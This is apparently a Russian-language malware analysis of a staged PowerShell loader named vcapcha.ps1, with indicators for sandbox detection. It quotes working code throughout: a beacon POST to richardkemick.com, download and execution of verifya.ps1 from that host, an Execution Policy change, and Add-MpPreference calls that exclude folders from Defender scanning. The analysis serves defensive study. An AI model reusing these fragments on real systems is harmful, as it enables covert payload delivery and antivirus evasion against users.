Введение

При анализе очередной цепочки PowerShell мне попался файл vcapcha.ps1. Само имя ничего особо интересного не говорит, поэтому сначала я посмотрел, что происходит непосредственно при запуске. Внутри оказался не какой-то сложный загрузчик с обфускацией, а достаточно прямолинейная цепочка: скрипт сообщает удалённому серверу о своём запуске, минимизирует окно PowerShell, скачивает следующий .ps1, сохраняет его во временный каталог и запускает. Дальше цепочка становится интереснее. Загруженный этап проверяет настройки Microsoft Defender и добавляет собственные каталоги в ExclusionPath. В результате получается вполне конкретная последовательность: сначала установить связь с сервером, затем получить следующий код и подготовить для него место, которое не будет проверяться Defender.

Первый этап — сообщение о запуске

В начале vcapcha.ps1 находится отдельный блок:

[Net.ServicePointManager]::SecurityProtocol =
    [Net.SecurityProtocolType]::Tls12

$deviceId = [Convert]::ToBase64String(
    [System.Text.Encoding]::UTF8.GetBytes(
        $env:COMPUTERNAME + (Get-Date).Ticks
    )
).Substring(0, 16)

$body = @{
    event = "script_execution"
    deviceId = $deviceId
    timestamp = (Get-Date -Format "o")
} | ConvertTo-Json

Invoke-WebRequest `
    -Uri "https://richardkemick.com/reportv.php" `
    -Method POST `
    -ContentType "application/json" `
    -Body $body

Перед выполнением основной логики скрипт формирует JSON и отправляет его на:

https://richardkemick.com/reportv.php

Структура сообщения простая:

{
    "event": "script_execution",
    "deviceId": "...",
    "timestamp": "..."
}

deviceId здесь не является каким-то постоянным идентификатором машины. Скрипт берёт имя компьютера, добавляет текущее значение Ticks, кодирует полученную строку в Base64 и оставляет первые 16 символов. То есть сервер получает как минимум информацию о том, что скрипт был запущен, идентификатор, сформированный из имени компьютера и времени запуска, а также временную метку. Сам запрос выполняется через Invoke-WebRequest с POST и Content-Type: application/json.

Интересно и то, что ошибка отправки не останавливает дальнейшее выполнение. Весь блок находится внутри try/catch, а в catch просто выводится сообщение:

Write-Host "Debug: Failed to report script_execution ..."

Получается, сервер здесь не является обязательным условием продолжения работы загрузчика.

Скрытие окна PowerShell

Следующим действием скрипт получает дескриптор собственного окна:

$consolePtr =
    [System.Diagnostics.Process]::GetCurrentProcess().MainWindowHandle

После этого динамически объявляется небольшой класс с вызовом WinAPI:

[DllImport("user32.dll")]
public static extern bool ShowWindow(
    IntPtr hWnd,
    int nCmdShow
);

И окно минимизируется:

[WinAPI]::ShowWindow($consolePtr, 2)

Значение 2 соответствует состоянию SW_SHOWMINIMIZED. Здесь нет сложного механизма сокрытия процесса. PowerShell остаётся обычным powershell.exe, просто его консольное окно переводится в минимизированное состояние. Для анализа это хороший признак: внутри скрипта присутствует попытка сделать выполнение менее заметным для пользователя.

Получение следующего этапа

Дальше находится уже непосредственно загрузчик:

$url = "https://richardkemick.com/verifya.ps1"
$tempScriptPath = "$env:TEMP\verify_script.ps1"

$response = Invoke-WebRequest `
    -Uri $url `
    -UseBasicParsing `
    -ErrorAction Stop

Следующий PowerShell-код получается с:

https://richardkemick.com/verifya.ps1

После загрузки автор сохраняет его в:

%TEMP%\verify_script.ps1

Далее содержимое записывается на диск:

Set-Content `
    -Path $tempScriptPath `
    -Value $scriptContent `
    -Encoding UTF8

То есть на этом этапе цепочка выглядит так:

vcapcha.ps1
     |
     | HTTPS GET
     v
verifya.ps1
     |
     | save
     v
%TEMP%\verify_script.ps1

Это уже классический staged-подход: первый скрипт содержит минимальную логику и получает следующую часть с удалённого сервера. При этом в самом vcapcha.ps1 конечная полезная нагрузка отсутствует. Поэтому если смотреть только этот файл, нельзя говорить о том, что именно делает конечный компонент. Для этого нужно исследовать содержимое verifya.ps1.

Работа с Execution Policy

Перед запуском скачанного файла скрипт дополнительно проверяет текущую политику PowerShell:

$executionPolicy = Get-ExecutionPolicy

if ($executionPolicy -eq "Restricted" -or
    $executionPolicy -eq "AllSigned") {

    Set-ExecutionPolicy `
        -Scope CurrentUser `
        -ExecutionPolicy RemoteSigned `
        -Force
}

Если политика установлена в Restricted или AllSigned, скрипт пытается изменить её для текущего пользователя на RemoteSigned. Здесь важно разделять две вещи!!!

В самой командной строке, которая запускает данный образец, может использоваться:

-ExecutionPolicy Bypass

Это позволяет запустить текущий PowerShell без применения обычной политики выполнения. А Set-ExecutionPolicy внутри скрипта уже изменяет сохранённую настройку для CurrentUser. То есть автор предусмотрел оба варианта: текущий процесс запускается с обходом политики, а затем дополнительно меняется пользовательская настройка PowerShell.

Запуск скачанного файла

После сохранения выполняется проверка:

if (Test-Path $tempScriptPath) {
    ...
    & $tempScriptPath
}

Оператор & запускает сохранённый PowerShell-файл. Перед этим автор даже выводит первые пять строк загруженного скрипта:

$scriptContentPreview =
    Get-Content $tempScriptPath -First 5

Write-Host $scriptContentPreview

Для вредоносного кода это выглядит немного необычно и больше похоже на отладочный вариант загрузчика. В коде вообще много сообщений Debug:.После завершения выполнения временный файл удаляется:

finally {
    if (Test-Path $tempScriptPath) {
        Remove-Item $tempScriptPath `
            -Force `
            -ErrorAction SilentlyContinue
    }
}

Таким образом, после выполнения на диске не должен оставаться сам verify_script.ps1, если удаление прошло успешно.

Что делает следующий этап

На этом месте я перешёл к следующей части цепочки. Полученный PowerShell запускается с параметрами:

-NoProfile -ExecutionPolicy Bypass -EncodedCommand ...

После декодирования EncodedCommand там находится уже другая логика.

Первое, что бросается в глаза:

$targets = @(
    'C:\Users\admin\AppData\Local\Programs\FolderSvc',
    'C:\Users\admin\AppData\Local\Programs\SearchNow'
)

Скрипт заранее определяет два каталога, которые должны использоваться дальше. Затем он получает текущие исключения Microsoft Defender:

$exclusions = Get-MpPreference |
    Select-Object -ExpandProperty ExclusionPath

После этого пути нормализуются:

$normalizedExclusions = $exclusions |
    ForEach-Object { $_.TrimEnd('\') }

И для каждого каталога из $targets выполняется проверка. Если путь уже находится среди исключений, скрипт ничего не делает. Если его нет, выполняется:

Add-MpPreference `
    -ExclusionPath $target `
    -ErrorAction Stop

То есть в системе создаются исключения Microsoft Defender для:

C:\Users\admin\AppData\Local\Programs\FolderSvc
C:\Users\admin\AppData\Local\Programs\SearchNow

Это уже наиболее важная часть всей цепочки.

Зачем нужны исключения Defender

Само по себе создание каталога ещё ничего не говорит о вредоносности. Но добавление каталога в ExclusionPath имеет совершенно конкретный смысл: Microsoft Defender не должен выполнять обычную проверку содержимого этого пути. В рассматриваемой цепочке это происходит перед дальнейшим использованием каталогов. Получается следующая логика:

получить следующий этап
        |
        v
определить рабочие каталоги
        |
        v
проверить ExclusionPath Defender
        |
        +---- путь уже есть
        |         |
        |         v
        |       ничего не делать
        |
        +---- пути нет
                  |
                  v
        Add-MpPreference
                  |
                  v
       каталог исключён из проверки

Для загрузчика это вполне практичный способ подготовить окружение перед размещением или запуском следующих компонентов.

Маркер выполнения

После обработки исключений скрипт создаёт файл:

C:\Users\admin\AppData\Local\Programs\FolderSvc\Cache\excl.txt

Для этого используется:

New-Item `
    -Path $markerFile `
    -ItemType File `
    -Force `
    -ErrorAction SilentlyContinue

Сам файл практически пустой. Его ценность заключается не в содержимом, а в факте существования. Таким образом, excl.txt может выступать простым маркером: текущий этап уже выполнялся и каталоги Defender были обработаны.

Интересный момент с логированием

В коде также присутствуют переменные:

$logFile =
    'C:\\Users\\marks\\source\\repos\\ProtectEvaluate\\bin\\x64\\Release\\defender_check.log'

и функция:

function Log-Info {
    param([string]$Message)
    # Logging disabled - do nothing
}

То есть автор оставил в скрипте инфраструктуру для логирования, но фактически она отключена.

Все вызовы:

Log-Info "..."

не приводят ни к какой записи на диск. Сам путь ProtectEvaluate выглядит как след отладочной или тестовой среды разработчика. При этом в исполняемой логике он не используется.

Что получилось в итоге

Если собрать все найденные действия вместе, получается довольно компактная цепочка:

vcapcha.ps1
     |
     +--> POST /reportv.php
     |       |
     |       +--> event: script_execution
     |       +--> deviceId
     |       +--> timestamp
     |
     +--> минимизация окна PowerShell
     |
     +--> GET /verifya.ps1
     |
     +--> %TEMP%\verify_script.ps1
     |
     +--> запуск verify_script.ps1
     |
     +--> удаление временного файла
             |
             v
      следующий PowerShell
             |
             +--> Get-MpPreference
             |
             +--> проверка ExclusionPath
             |
             +--> Add-MpPreference
             |       |
             |       +--> FolderSvc
             |       +--> SearchNow
             |
             +--> создание excl.txt

Меня здесь заинтересовал именно переход между этапами. vcapcha.ps1 сам по себе не содержит большой полезной нагрузки. Его задача — связать несколько действий: уведомить сервер о запуске, получить следующий код и передать ему управление. А уже следующий PowerShell занимается изменением настроек Microsoft Defender.

При этом есть ещё одна деталь: первый скрипт удаляет скачанный файл из %TEMP% после выполнения. Поэтому если анализировать систему только после завершения цепочки, часть артефактов первого этапа уже может отсутствовать.

Что искать при динамическом анализе

Если такую цепочку запускать в песочнице, я бы в первую очередь смотрел на несколько событий.

В сетевой активности — обращения к:

richardkemick.com
/reportv.php
/verifya.ps1

Отдельно стоит посмотреть тело POST-запроса на reportv.php, поскольку там передаются event, deviceId и timestamp. В процессах интересен powershell.exe с -EncodedCommand, а также дочерние процессы, которые появятся уже после выполнения verifya.ps1.

В файловой системе стоит отслеживать:

%TEMP%\verify_script.ps1
C:\Users\admin\AppData\Local\Programs\FolderSvc\
C:\Users\admin\AppData\Local\Programs\SearchNow\
C:\Users\admin\AppData\Local\Programs\FolderSvc\Cache\excl.txt

И отдельно — изменение настроек Defender. Самым характерным событием здесь будет вызов Add-MpPreference с параметром -ExclusionPath.

Вывод

В этом образце интересна не какая-то сложная обфускация, а сама организация цепочки.

vcapcha.ps1 выступает загрузчиком первого уровня. После запуска он отправляет информацию о выполнении на удалённый сервер, минимизирует своё окно, получает verifya.ps1, сохраняет его во временный каталог и запускает.

Следующий этап уже меняет окружение Windows: проверяет существующие исключения Defender и при необходимости добавляет туда два каталога — FolderSvc и SearchNow. После этого создаётся excl.txt, который может использоваться как маркер успешного выполнения.

То есть на исследуемом участке цепочка выглядит достаточно прозрачно:

уведомление → загрузка следующего этапа → выполнение → изменение настроек Defender → подготовка каталогов для дальнейшей работы.

Именно поэтому при анализе подобных PowerShell-файлов я бы не ограничивался самим .ps1. В данном случае самая важная часть находится не внутри vcapcha.ps1, а за URL verifya.ps1 — именно там начинается следующая стадия цепочки.